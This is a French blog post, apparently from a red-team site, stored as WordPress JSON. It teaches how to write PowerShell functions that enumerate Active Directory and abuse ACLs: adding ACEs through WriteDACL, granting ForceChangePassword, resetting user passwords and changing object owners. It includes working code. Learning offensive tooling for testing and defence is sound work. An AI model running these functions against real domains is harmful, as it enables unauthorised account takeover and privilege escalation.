{"id":117,"date":"2021-02-12T16:35:00","date_gmt":"2021-02-12T15:35:00","guid":{"rendered":"http:\/\/theredwindows.net\/?p=117"},"modified":"2021-07-30T18:24:33","modified_gmt":"2021-07-30T16:24:33","slug":"powershell-pour-lattaque-dacls","status":"publish","type":"post","link":"https:\/\/theredwindows.net\/index.php\/2021\/02\/12\/powershell-pour-lattaque-dacls\/","title":{"rendered":"PowerShell pour l\u2019attaque d\u2019ACLs"},"content":{"rendered":"\n<p>Dans cet article nous verrons comment programmer avec PowerShell des fonctions d\u2019exploitation, ce qui permettra d\u2019introduire plusieurs notions qui seront tr\u00e8s utilis\u00e9es dans le future, de mieux comprendre comment PowerView fonctionne, et apprendre \u00e0 interagir avec un Active Directory \u00e0 l\u2019aide des classes .NET et ADSI. Si PowerShell vous est totalement \u00e9tranger, je vous recommande la s\u00e9rie d\u2019article sur ce dernier pr\u00e9sente sur le blog.<\/p>\n\n\n\n<h3>Get-Domain<\/h3>\n\n\n\n<p>Une fonction \u00e9l\u00e9mentaire; tous les programmes qui interagissent avec un annuaire LDAP y ont recours. Elle permet d\u2019obtenir les informations sur le contexte actuel de l\u2019\u00e9ventuel domaine ou for\u00eat \u00e0 laquelle est jointe la machine: le nom du domaine, les contr\u00f4leurs de domaine et leurs r\u00f4les. Pour permettre cette \u00e9num\u00e9ration, l\u2019espace de nom <code>System.DirectoryServices.ActiveDirectory<\/code> est d\u00e9di\u00e9, on y retrouve la m\u00e9thode <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">::GetCurrentDomain()<\/code><\/code> et <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">::GetDomain()<\/code><\/code>. La premi\u00e8re ne n\u00e9cessite pas d\u2019argument on l\u2019appelle comme ceci:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()<\/pre>\n\n\n\n<p>l&#8217;int\u00e9r\u00eat de la deuxi\u00e8me est qu\u2019elle prend en argument un <code>DirectoryContext<\/code>. Un <code>DirectoryContext<\/code> est une classe appartenant au m\u00eame espace de nom, qui prend en arguments plusieurs choses: un domaine alternatif, et des identifiants, on l\u2019utilise comme ceci:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DomainContext('Domain', 'contoso.local')\n$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DomainContext('Domain', 'contoso.local', 'UserName', 'Password')\n\n# ce qui permet d\u2019utiliser GetDomain()\n\n[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)<\/pre>\n\n\n\n<p>Ainsi la fonction <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Get-Domain<\/code><\/code> retourne un objet .NET sp\u00e9cialement con\u00e7u en fonction des param\u00e8tres donn\u00e9s, des identifiants alternatifs, ou bien un domaine cible. La fonction utilis\u00e9e dans les scripts complet est une version l\u00e9g\u00e8rement modifi\u00e9e de celle propos\u00e9e par <a rel=\"noreferrer noopener\" href=\"https:\/\/twitter.com\/harmj0y\" data-type=\"URL\" data-id=\"https:\/\/twitter.com\/harmj0y\" target=\"_blank\">@Harmj0y<\/a> (pour la simple raison qu\u2019elle est parfaite).<\/p>\n\n\n\n<h3>Invoke-DomainSearcher<\/h3>\n\n\n\n<p>Cette fonction permet la recherche d\u2019objet au sein de l\u2019annuaire LDAP en utilisant <code>System.DirectoryServices.DirectorySearcher<\/code>. Cette fonction \u00e0 besoin de <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Get-Domain<\/code><\/code> pour pouvoir obtenir le contr\u00f4leur de domaine poss\u00e9dant le r\u00f4le &#8220;PDC Emulator&#8221;, qu\u2019il va int\u00e9grer dans une base de recherche, qui est g\u00e9n\u00e9ralement \u00e0 la racine du domaine. Elle ressemblera ainsi \u00e0 <code>LDAP:\/\/DC.domain.local\/<\/code>. Un filtre est appliqu\u00e9 gr\u00e2ce \u00e0 la propri\u00e9t\u00e9 d\u2019objet <code>Filter<\/code>. le r\u00e9sultat de la recherche est retourn\u00e9. De mani\u00e8re grossi\u00e8re la partie de recherche est donc compos\u00e9e des \u00e9tapes suivantes:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$domainObj = Get-Domain\n$PDC = ($domainObj.PdcRoleOwner).Name\n$SearchString = \"LDAP:\/\/\"\n$SearchString += $PDC + \"\/\"\n$DistinguishedName = \"DC=$($domainObj.Name.Replace('.',\u2019DC='))\"\n$SearchString += $DistinguishedName\n$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\t\n$objDomain = New-Object System.DirectoryServices.DirectoryEntry\n$Searcher.SearchRoot = $objDomain\n$Searcher.Filter = $Filter\n$result = $Searcher.FindAll()<\/pre>\n\n\n\n<h3>Get-DomainObject<\/h3>\n\n\n\n<p>Cette fonction \u00e0 pour but de retourner les propri\u00e9t\u00e9s d\u2019un objet donn\u00e9 par l\u2019utilisateur en argument. Le but est d\u2019obtenir le chemin ADS qui permettra d\u2019effectuer des modifications sur l\u2019objet. Un filtre LDAP est constitu\u00e9 \u00e0 partir de l\u2019identification qu\u2019il est possible de faire avec l\u2019identit\u00e9 de l\u2019objet. Par exemple, si la taille du tableau form\u00e9 de la cha\u00eene de caract\u00e8re de l&#8217;identit\u00e9 s\u00e9par\u00e9 tous les &#8220;-&#8221; vaut 8, il s\u2019agira du SID de l\u2019objet, ainsi de suite. le code ressemble donc \u00e0 cela:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$filter = @(\"(|\")\n\nif ($Identity.Contains(\"LDAP:\/\/\") -and $Identity.Contains(\"DC=\")) {\n\n\t$filter += \"(distinguishedName=$($Identity.Replace(\"LDAP:\/\/\")))\"\n} elseif ($Identity.Contains(\"DC=\")) {\n\n\t$filter += \"(distinguishedName=$Identity)\"\n} elseif ($Identity.Split(\"-\").Count -eq 8) {\n                \n\t$filter += \"(objectSid=$Identity)\"\n} elseif ($Identity.Split(\".\") -ge 3) {\n\n\t$filter += \"(dnshostname=$Identity)\"\n} else {\n\n\t$filter += \"(|(samAccountName=$Identity)(name=$Identity)(cn=$Identity))\"\n}\n\n$finalFilter = (-join $filter) + \")\"\n$results = Invoke-DomainSearcher -Filter $finalFilter<\/pre>\n\n\n\n<p>Ensuite, un <code>psObject<\/code> est cr\u00e9\u00e9 \u00e0 partir des objets pr\u00e9sents dans le r\u00e9sultat de la recherche.<\/p>\n\n\n\n<h3>Get-DomainObjectAcl<\/h3>\n\n\n\n<p>Cette fonction permet d\u2019obtenir le contenu de la DACL d\u2019un objet. Elle renvoie \u00e0 ce titre un <code>PSCustomObject<\/code> comprenant plusieurs propri\u00e9t\u00e9s. Pour obtenir ces derni\u00e8res, il faut monter le chemin ADS de l\u2019objet, et acc\u00e9der au champ <code>ObjectSecurity<\/code>. Puis utiliser la m\u00e9thode <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">GetAccessRules()<\/code><\/code>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ADSIObject = New-Object System.DirectoryServices.DirectoryEntry($Object.path)\n$aclObject = $ADSIObject.PSBase.ObjectSecurity\n$aclList = $aclObject.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier]) <\/pre>\n\n\n\n<h3>Add-DomainObjectAcl<\/h3>\n\n\n\n<p>La premi\u00e8re fonction d\u2019exploitation permet d\u2019ajouter une ACL dans le cas de l\u2019utilisation du droit <code>WriteDACL<\/code>. On commence par acc\u00e9der \u00e0 l\u2019objet avec une <code>DirectoryEntry<\/code>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ADSIObject = New-Object System.DirectoryServices.DirectoryEntry($Object.Path)<\/pre>\n\n\n\n<p>Puis on pr\u00e9cise que l\u2019on modifie la DACL,<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ADSIObject.PSBase.Options.SecurityMasks = 'Dacl'<\/pre>\n\n\n\n<p>Puis on reproduit les \u00e9tapes suivantes pour ajouter une ACE (si vous avez lu l\u2019article sur l\u2019abus d\u2019ACL, elles devraient vous \u00eatre famili\u00e8re). Il faut d\u2019abord obtenir le SID du r\u00e9f\u00e9rent du droit et on en cr\u00e9er un objet .NET de type <code>System.Security.Principal.IdentityReference<\/code>. Puis, on pr\u00e9cise le droit Active Directory en utilisant l\u2019\u00e9num\u00e9ration <code>System.DirectoryServices.ActiveDirectoryRights<\/code>, ainsi que le type d\u2019h\u00e9ritage. Enfin on cr\u00e9e une ACE objet avec la classe <code>System.DirectoryServices.ActiveDirectoryAccessRule<\/code>. On ajoute l\u2019ACE avec la m\u00e9thode <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">.AddAccessRule()<\/code><\/code>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$sid = [System.Security.Principal.SecurityIdentifier] $Principal.sid\n$identity = [System.Security.Principal.IdentityReference] $SID\n$adRights = [System.DirectoryServices.ActiveDirectoryRights] $Access\n$type = [System.Security.AccessControl.AccessControlType] \"Allow\"\n$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] \"All\"\n\n$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRights,$type,$inheritanceType)\n                \n$ADSIObject.PSBase.ObjectSecurity.AddAccessRule($ACE)<\/pre>\n\n\n\n<p>Si on ajoute un droit \u00e9tendu les \u00e9tapes sont diff\u00e9rentes mais cependant tr\u00e8s proches.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$FinalGUID = New-Object System.Guid(\"00299570-246d-11d0-a768-00aa006e0529\") # guid pour ForceChangePassword\n$sid = [System.Security.Principal.SecurityIdentifier] $Principal.sid\n$identity = [System.Security.Principal.IdentityReference] $SID\n$adRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight\n$type = [System.Security.AccessControl.AccessControlType] \"Allow\"\n$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] \"All\"\n\n$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$adRights,$type,$FinalGUID,$inheritanceType) \n\n$ADSIObject.PSBase.ObjectSecurity.AddAccessRule($ACE)<\/pre>\n\n\n\n<p>Enfin, on finit par appliquer les modifications <code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">$ADSIObject.PSBase.CommitChanges()<\/code>.<\/p>\n\n\n\n<h3>Set-DomainUserPassword<\/h3>\n\n\n\n<p>Cette fonction permet comme son nom l\u2019indique de changer le mot de passe d\u2019un utilisateur. Pour ce faire, il faut monter l\u2019objet avec une <code>DirectoryEntry <\/code>puis on invoque la m\u00e9thode <code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">.SetPassword()<\/code> avec en argument le nouveau mot de passe en clair. On applique enfin les changements.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ADSIObject = New-Object System.DirectoryServices.DirectoryEntry($user.adspath)\n$ADSIObject.PSBase.Invoke(\"SetPassword\", $AccountPassword)\n$ADSIObject.CommitChanges()<\/pre>\n\n\n\n<h3>Set-DomainObjectOwner<\/h3>\n\n\n\n<p>Cette fonction permet de changer le propri\u00e9taire d\u2019un objet, on rappelle que ce dernier poss\u00e8de implicitement tous les droits (<code>GENERIC_ALL<\/code>) sur l\u2019objet dont il a l&#8217;acquisition. Apr\u00e8s avoir mont\u00e9 le chemin LDAP de l\u2019objet cible avec une <code>DirectoryEntry<\/code>, on doit cr\u00e9er un <code>System.Security.Principal.NTAccount<\/code> avec en argument le domaine, et le nom SAM de l\u2019objet r\u00e9f\u00e9rent. Puis on utilise la m\u00e9thode <code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">.SetOwner()<\/code> pour enfin appliquer les changements.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$IdentityReference = New-Object System.Security.Principal.NTAccount($domainName, $OwnerIdentity.SamAccountName)\n$ADSIObject.PSBase.ObjectSecurity.SetOwner($IdentityReference)\n$ADSIObject.CommitChanges()<\/pre>\n\n\n\n<p>Les scripts PowerShell sont disponibles sur github <a href=\"https:\/\/github.com\/rootSySdk\/PowerShellSample\" data-type=\"URL\" data-id=\"https:\/\/github.com\/rootSySdk\/PowerShellSample\" target=\"_blank\" rel=\"noreferrer noopener\">ici<\/a> et je vous invite \u00e0 les lire. J\u2019esp\u00e8re que cet article vous a plu, \u00e9crire ses propres outils est tr\u00e8s formateur, j\u2019esp\u00e8re que vous vous y essayerez !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dans cet article nous verrons comment programmer avec PowerShell des fonctions d\u2019exploitation, ce qui permettra d\u2019introduire plusieurs notions qui seront tr\u00e8s utilis\u00e9es dans le future, de mieux comprendre comment PowerView fonctionne, et apprendre \u00e0 interagir avec un Active Directory \u00e0 l\u2019aide des classes .NET et ADSI. Si PowerShell vous est totalement \u00e9tranger, je vous recommande [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"_links":{"self":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/117"}],"collection":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/comments?post=117"}],"version-history":[{"count":4,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/117\/revisions"}],"predecessor-version":[{"id":249,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/117\/revisions\/249"}],"wp:attachment":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/media?parent=117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/categories?post=117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/tags?post=117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}